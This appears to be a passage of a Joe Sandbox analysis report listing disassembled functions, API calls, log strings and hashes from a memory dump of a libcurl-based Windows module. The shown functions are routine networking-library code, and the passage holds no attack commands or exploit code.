                                                                                                                                      control_flow_graph 1142 6bd984a0-6bd984e5 1143 6bd984f7-6bd98507 call 6bd98840 1142->1143 1144 6bd984e7-6bd984f4 call 6bdb3fd0 1142->1144 1149 6bd98509-6bd98522 call 6bdb06b0 1143->1149 1150 6bd98525-6bd9852c 1143->1150 1144->1143 1149->1150 1151 6bd98539-6bd9853d 1150->1151 1152 6bd9852e-6bd98536 call 6bdb4010 1150->1152 1155 6bd98661 1151->1155 1156 6bd98543-6bd98551 1151->1156 1152->1151 1161 6bd98664-6bd9867c call 6bdcdb71 1155->1161 1159 6bd98589-6bd98598 inet_pton 1156->1159 1160 6bd98553-6bd98580 call 6bda7550 * 2 1156->1160 1164 6bd985b9-6bd985c8 inet_pton 1159->1164 1165 6bd9859a-6bd985b0 call 6bd86fb0 1159->1165 1183 6bd986cf-6bd986e2 call 6bdcdb71 1160->1183 1196 6bd98586 1160->1196 1166 6bd985e9-6bd985f4 call 6bd98a60 1164->1166 1167 6bd985ca-6bd985e0 call 6bd86fb0 1164->1167 1174 6bd9867d-6bd98684 1165->1174 1175 6bd985b6 1165->1175 1182 6bd985fa-6bd985fe 1166->1182 1166->1183 1167->1174 1181 6bd985e6 1167->1181 1179 6bd98693-6bd986ad call 6bd97ae0 1174->1179 1180 6bd98686-6bd98690 call 6bdb3fd0 1174->1180 1175->1164 1198 6bd986ba-6bd986be 1179->1198 1199 6bd986af-6bd986b7 call 6bdb4010 1179->1199 1180->1179 1181->1166 1187 6bd98619-6bd98622 call 6bd978a0 1182->1187 1188 6bd98600-6bd98607 1182->1188 1197 6bd98627-6bd9862e 1187->1197 1188->1187 1195 6bd98609-6bd98617 call 6bdadb40 1188->1195 1195->1197 1196->1159 1197->1174 1201 6bd98630-6bd98633 1197->1201 1203 6bd986cb-6bd986cd 1198->1203 1204 6bd986c0-6bd986c9 call 6bd86de0 1198->1204 1199->1198 1201->1155 1206 6bd98635-6bd98641 1201->1206 1203->1161 1204->1155 1209 6bd9864a call 6bd81380 1206->1209 1210 6bd98643-6bd98648 call 6bdadcd0 1206->1210 1215 6bd9864f-6bd98654 1209->1215 1210->1215 1215->1183 1216 6bd98656-6bd9865e 1215->1216 1216->1155
                                                                                                                                      APIs
                                                                                                                                      • inet_pton.WS2_32(00000002,00000000,?), ref: 6BD98590
                                                                                                                                      • inet_pton.WS2_32(00000017,00000000,?), ref: 6BD985C0
                                                                                                                                      Strings
                                                                                                                                      • Hostname %s was found in DNS cache, xrefs: 6BD9850A
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: inet_pton
                                                                                                                                      • String ID: Hostname %s was found in DNS cache
                                                                                                                                      • API String ID: 1350483568-2672672863
                                                                                                                                      • Opcode ID: 896b528af0915bb2bf086ef37630ef85681840ceb89b10a54915d90f867da4e2
                                                                                                                                      • Instruction ID: 071e95c4f6904e16cc3967e8dcb2a52c1f2f6104d5d9cb8cba32e4787b205f0d
                                                                                                                                      • Opcode Fuzzy Hash: 896b528af0915bb2bf086ef37630ef85681840ceb89b10a54915d90f867da4e2
                                                                                                                                      • Instruction Fuzzy Hash: 5B61B671D00209EBDB01ABA4EC42BEFBBB8AF04774F000155E9156E280D73A5A55DBF1
                                                                                                                                      Function 6BD82A60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 200COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 1217 6bd82a60-6bd82a9b 1218 6bd82a9d 1217->1218 1219 6bd82aa0-6bd82aa3 1217->1219 1218->1219 1220 6bd82ab8 1219->1220 1221 6bd82aa5-6bd82aa8 1219->1221 1222 6bd82aba-6bd82abd 1220->1222 1223 6bd82aae-6bd82ab1 1221->1223 1224 6bd82b60-6bd82b62 1221->1224 1225 6bd82abf-6bd82afd call 6bdbe5d0 call 6bdbe680 1222->1225 1223->1225 1226 6bd82ab3-6bd82ab5 1223->1226 1224->1222 1231 6bd82c83-6bd82c9e call 6bdb05d0 1225->1231 1232 6bd82b03-6bd82b05 1225->1232 1226->1220 1232->1231 1234 6bd82b0b 1232->1234 1236 6bd82b0d-6bd82b0f 1234->1236 1237 6bd82b15-6bd82b53 call 6bd983d0 1234->1237 1236->1231 1236->1237 1240 6bd82b55-6bd82b5e 1237->1240 1241 6bd82b67-6bd82b7c call 6bdcdb90 1237->1241 1243 6bd82b7f-6bd82b98 1240->1243 1241->1243 1245 6bd82ba8-6bd82bb6 1243->1245 1246 6bd82b9a-6bd82ba5 call 6bdcdb90 1243->1246 1248 6bd82bb8-6bd82bbb 1245->1248 1249 6bd82bbd 1245->1249 1246->1245 1251 6bd82bbf-6bd82be4 1248->1251 1249->1251 1252 6bd82bf2-6bd82bfa 1251->1252 1253 6bd82be6-6bd82be9 1251->1253 1255 6bd82c00-6bd82c02 1252->1255 1253->1252 1254 6bd82beb-6bd82bf0 1253->1254 1254->1252 1254->1253 1256 6bd82c62-6bd82c82 call 6bda69d0 1255->1256 1257 6bd82c04-6bd82c08 1255->1257 1258 6bd82c0a 1257->1258 1259 6bd82c4c-6bd82c53 1257->1259 1262 6bd82c10-6bd82c13 call 6bd840c0 1258->1262 1259->1255 1263 6bd82c55-6bd82c57 1259->1263 1266 6bd82c18-6bd82c1f 1262->1266 1263->1256 1265 6bd82c59-6bd82c61 1263->1265 1267 6bd82c49 1266->1267 1268 6bd82c21-6bd82c25 1266->1268 1267->1259 1269 6bd82c40-6bd82c47 1268->1269 1270 6bd82c27-6bd82c2c 1268->1270 1269->1262 1269->1267 1270->1269 1271 6bd82c2e-6bd82c31 1270->1271 1272 6bd82c34-6bd82c37 1271->1272 1272->1269 1273 6bd82c39-6bd82c3e 1272->1273 1273->1269 1273->1272
                                                                                                                                      APIs
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BD82B71
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BD82BA0
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                                                                      • String ID: Connection time-out
                                                                                                                                      • API String ID: 885266447-165637984
                                                                                                                                      • Opcode ID: e1aaea58d7576a464a0e0b53613f669500313206a82269853e38fc70bbbe407c
                                                                                                                                      • Instruction ID: 10711925066ab117a0094ac3bd1e3ff4f3cf5ee3112d20187ed371c8d7332536
                                                                                                                                      • Opcode Fuzzy Hash: e1aaea58d7576a464a0e0b53613f669500313206a82269853e38fc70bbbe407c
                                                                                                                                      • Instruction Fuzzy Hash: CB71AE75E01605DFD714CF68C881AAAB7F5FF48329F1482B9D848AF351E736AA41CB90
                                                                                                                                      Function 6BD91930 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 1274 6bd91930-6bd919b3 call 6bd91650 * 2 call 6bdcef10 call 6bd92ea0 1284 6bd919b8-6bd919c2 1274->1284 1285 6bd91ab9-6bd91abc 1284->1285 1286 6bd919c8-6bd919cf 1284->1286 1289 6bd91ba1-6bd91ba3 1285->1289 1290 6bd91ac2-6bd91aca 1285->1290 1287 6bd919de-6bd919e4 1286->1287 1288 6bd919d1-6bd919dd 1286->1288 1292 6bd91bc4-6bd91bcc 1287->1292 1293 6bd919ea-6bd91a08 call 6bdacc20 1287->1293 1291 6bd91ba5-6bd91ba7 1289->1291 1289->1292 1291->1292 1295 6bd91ba9-6bd91bc1 call 6bda69a0 call 6bd823e0 call 6bd91bd0 1291->1295 1298 6bd91a18-6bd91a29 1293->1298 1299 6bd91a0a-6bd91a17 1293->1299 1295->1292 1301 6bd91a2b-6bd91a5c curl_maprintf 1298->1301 1302 6bd91a66-6bd91a97 call 6bdbe5d0 1298->1302 1301->1302 1309 6bd91a5e-6bd91a61 1301->1309 1310 6bd91a99-6bd91ab3 call 6bd82a60 1302->1310 1311 6bd91acb-6bd91ae1 call 6bdacc20 1302->1311 1309->1291 1310->1285 1319 6bd91b80-6bd91ba0 call 6bdbe5d0 1310->1319 1317 6bd91aef-6bd91afb call 6bdacc20 1311->1317 1318 6bd91ae3-6bd91aed 1311->1318 1320 6bd91afe-6bd91b23 call 6bd836a0 1317->1320 1318->1317 1318->1320 1320->1319 1327 6bd91b25-6bd91b2c 1320->1327 1328 6bd91b2e-6bd91b34 1327->1328 1329 6bd91b36-6bd91b3d 1327->1329 1330 6bd91b5e-6bd91b7d call 6bdb06b0 1328->1330 1331 6bd91b3f-6bd91b45 1329->1331 1332 6bd91b47-6bd91b4e 1329->1332 1330->1319 1331->1330 1334 6bd91b58 1332->1334 1335 6bd91b50-6bd91b56 1332->1335 1334->1330 1335->1330
                                                                                                                                      Strings
                                                                                                                                      • Connected to %s (%s) port %ld (#%ld), xrefs: 6BD91B72
                                                                                                                                      • User-Agent: %s, xrefs: 6BD91A47
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_multi_cleanupcurl_multi_remove_handlecurl_slist_free_all
                                                                                                                                      • String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
                                                                                                                                      • API String ID: 3107128920-3248832348
                                                                                                                                      • Opcode ID: 2bbf9834f3afcc74485cc00856f570a98ceacd2f115dc74fde8047589d781e25
                                                                                                                                      • Instruction ID: a8620332a903f97f5d4e63576774af6984124a4e1b9178290749e8e22f780b53
                                                                                                                                      • Opcode Fuzzy Hash: 2bbf9834f3afcc74485cc00856f570a98ceacd2f115dc74fde8047589d781e25
                                                                                                                                      • Instruction Fuzzy Hash: AD715771A00744EBD7119B74DC41BD6B7EDBF42328F0406A8E9AC8F281E739A254CBA1
                                                                                                                                      Function 6BD926A0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 131COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(User-Agent: %s), ref: 6BD9270E
                                                                                                                                      Strings
                                                                                                                                      • Connected to %s (%s) port %ld (#%ld), xrefs: 6BD92828
                                                                                                                                      • User-Agent: %s, xrefs: 6BD92709
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf
                                                                                                                                      • String ID: Connected to %s (%s) port %ld (#%ld)$User-Agent: %s
                                                                                                                                      • API String ID: 3307269620-3248832348
                                                                                                                                      • Opcode ID: f2b5f269dabbb0556cd9dc1417f9434bef7b297c78c8cd7298d3d6511c23db1a
                                                                                                                                      • Instruction ID: 2003f9db76595b715f7f42467b7f8cc52d12d80774dd78860495b6f4e1da113a
                                                                                                                                      • Opcode Fuzzy Hash: f2b5f269dabbb0556cd9dc1417f9434bef7b297c78c8cd7298d3d6511c23db1a
                                                                                                                                      • Instruction Fuzzy Hash: B9415A71904744ABD721DB38EC41BE3BBE8BF4532CF04069DE8A94B182E3756254CBA1
                                                                                                                                      Function 6BD86E10 Relevance: 4.6, APIs: 3, Instructions: 146networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • getaddrinfo.WS2_32(?,?,?,6BDEB330), ref: 6BD86E2E
                                                                                                                                      • freeaddrinfo.WS2_32(6BDEB330,?,?,6BDEB330,?), ref: 6BD86F4C
                                                                                                                                      • WSASetLastError.WS2_32(00002AF9,?,?,6BDEB330,?), ref: 6BD86F99
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLastfreeaddrinfogetaddrinfo
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1817844550-0
                                                                                                                                      • Opcode ID: ec9cd8aa168d4a74323b02691e3cf4235422c83ff0daff9da5bbb476f3512c95
                                                                                                                                      • Instruction ID: 5e55f1aa7c8bec035f339236e9e0a58cbd8cf6e435bd5cfddc84257ef1cd37ba
                                                                                                                                      • Opcode Fuzzy Hash: ec9cd8aa168d4a74323b02691e3cf4235422c83ff0daff9da5bbb476f3512c95
                                                                                                                                      • Instruction Fuzzy Hash: C05179B1E01706DFDB11CFA9D580AAEB7F5BF48721F0085A9E8599B310D734E914CB91
                                                                                                                                      Function 6BDD8360 Relevance: 4.6, APIs: 3, Instructions: 51threadCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • CreateThread.KERNEL32(6BD816D0,6BD81218,6BDD8204,00000000,00000000,6BD816D0), ref: 6BDD83A9
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,6BD89136,00000000,00000000,6BD816D0,6BD81218,00000000,00000000), ref: 6BDD83B5
                                                                                                                                      • __dosmaperr.LIBCMT ref: 6BDD83BC
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateErrorLastThread__dosmaperr
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2744730728-0
                                                                                                                                      • Opcode ID: dcbf29030fc49490dc186fce4dccf99e35b6f888803e9274ad10fc6f767d7c60
                                                                                                                                      • Instruction ID: 06350a56fb7712b87bdbeacb5898862fc040dec9415d5436e8da72499b02a010
                                                                                                                                      • Opcode Fuzzy Hash: dcbf29030fc49490dc186fce4dccf99e35b6f888803e9274ad10fc6f767d7c60
                                                                                                                                      • Instruction Fuzzy Hash: FA015E72501619EFDF068FB1CC05A9E7BB8EF05379F005058F895DA190DB7ADA50EBA0
                                                                                                                                      Function 6BD84740 Relevance: 4.5, APIs: 3, Instructions: 36networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • SleepEx.KERNEL32(00000000,00000000), ref: 6BD84758
                                                                                                                                      • getsockopt.WS2_32(00000004,0000FFFF,00001007,00000000,00000004), ref: 6BD84773
                                                                                                                                      • WSAGetLastError.WS2_32 ref: 6BD8477D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLastSleepgetsockopt
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3033474312-0
                                                                                                                                      • Opcode ID: e1c349f6824bd080e5d024e68e55a92e018c0dc2db7e9eab4861ff420c0fc12e
                                                                                                                                      • Instruction ID: 686bf55103550523f9ef543ab9bd9b439ac08745c2db90543f1418712b848593
                                                                                                                                      • Opcode Fuzzy Hash: e1c349f6824bd080e5d024e68e55a92e018c0dc2db7e9eab4861ff420c0fc12e
                                                                                                                                      • Instruction Fuzzy Hash: 40F01274644209EBFF109FA5CC45BAEBFBCAF03716F2040A4E9549E2C0D779A5069F91
                                                                                                                                      Function 6BD81050 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • InitializeCriticalSectionEx.KERNEL32(00000000,00000000,00000001,?,?,00000000,00000048), ref: 6BD8115D
                                                                                                                                      Strings
                                                                                                                                      • getaddrinfo() thread failed to start, xrefs: 6BD811AA
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CriticalInitializeSection
                                                                                                                                      • String ID: getaddrinfo() thread failed to start
                                                                                                                                      • API String ID: 32694325-737161664
                                                                                                                                      • Opcode ID: 9951fe391a1fdfa5b444bc15e8a48193937fba44541abcb4ce8d8cb840e8a703
                                                                                                                                      • Instruction ID: 8f223614b0b43ea27db4348e304ac16f897f083b9f7641a2322c2a8f850c5b21
                                                                                                                                      • Opcode Fuzzy Hash: 9951fe391a1fdfa5b444bc15e8a48193937fba44541abcb4ce8d8cb840e8a703
                                                                                                                                      • Instruction Fuzzy Hash: 295115B1D00216EBDB018F65DC467897BB0FF05325F008275ED189F281E779E6A4CBA1
                                                                                                                                      Function 6BDB07E0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • recv.WS2_32(00000008,?,?,00000000), ref: 6BDB07EE
                                                                                                                                      • WSAGetLastError.WS2_32(?,6BDB737C,?,?,00000008,?), ref: 6BDB07FB
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLastrecv
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2514157807-0
                                                                                                                                      • Opcode ID: 52f4f2c9b6c0c16c59cefc183d414ca39e97216fb7fcf5dd675d113a072ea72a
                                                                                                                                      • Instruction ID: fba183a131fcd2a6692ca9606873413cc47b5a93402650d70d4aa25a2580964b
                                                                                                                                      • Opcode Fuzzy Hash: 52f4f2c9b6c0c16c59cefc183d414ca39e97216fb7fcf5dd675d113a072ea72a
                                                                                                                                      • Instruction Fuzzy Hash: 31E09A3420820DAFEF099F70DC4475E3BA6EF45320F404568F91E8E2D0C732E822AB50
                                                                                                                                      Function 6BDA6DA0 Relevance: 1.6, APIs: 1, Instructions: 86networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateEvent
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2692171526-0
                                                                                                                                      • Opcode ID: 73152096c3f056386a0f7cfc67aba8b3494473c9dfadf9b8ac4260f0d3995cbd
                                                                                                                                      • Instruction ID: 3b538053befc04c6f51dc0b82a3109f0f52e2df524e66fee4b551c6464e7ad53
                                                                                                                                      • Opcode Fuzzy Hash: 73152096c3f056386a0f7cfc67aba8b3494473c9dfadf9b8ac4260f0d3995cbd
                                                                                                                                      • Instruction Fuzzy Hash: 1E21A676900B54A6DB20ABB4EC06BCB77EC5F01679F000969E95ADE141E739F3088771
                                                                                                                                      Function 6BDA7990 Relevance: 1.6, APIs: 1, Instructions: 79networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • WSACloseEvent.WS2_32(50000000), ref: 6BDA7A66
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CloseEvent
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2624557715-0
                                                                                                                                      • Opcode ID: 6747d1e2ed654f702ba49b85d1efa38f115a2fbad8fe3b3cdfad1b539cb7b6dd
                                                                                                                                      • Instruction ID: 8a0da4bd73c93b4c4ba1976a92cd0c3c51a98f5c0e7f48acca1e3eff37fe55d7
                                                                                                                                      • Opcode Fuzzy Hash: 6747d1e2ed654f702ba49b85d1efa38f115a2fbad8fe3b3cdfad1b539cb7b6dd
                                                                                                                                      • Instruction Fuzzy Hash: F321C172900A10BBEB219FA0DC85B8A77ECAF05328F0404A9E9585E145D77AE64487A1
                                                                                                                                      Function 6BD82370 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_easy_init.LIBCURL(00000044,00000000,?,6BDA6E06,00000078,?,?,?,?,?,?,?), ref: 6BD82375
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_easy_init
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4195830768-0
                                                                                                                                      • Opcode ID: b8759b0d93be00b02c4131713a3f732e87d2912349f579983863968854ae728e
                                                                                                                                      • Instruction ID: 835aa067c329d63d4f5b69e61e30b7c479a60fd38053b019dd51e334cf0aaf6f
                                                                                                                                      • Opcode Fuzzy Hash: b8759b0d93be00b02c4131713a3f732e87d2912349f579983863968854ae728e
                                                                                                                                      • Instruction Fuzzy Hash: CFF054777001147BD7006BA9BC80AEAF79CFB9127DB004177F90CDB601D36AA51596F1
                                                                                                                                      Function 6BDDF78D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • RtlAllocateHeap.NTDLL(00000008,00000364,00000000,?,6BDDF6DD,00000001,00000364,00000015,000000FF), ref: 6BDDF7CE
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
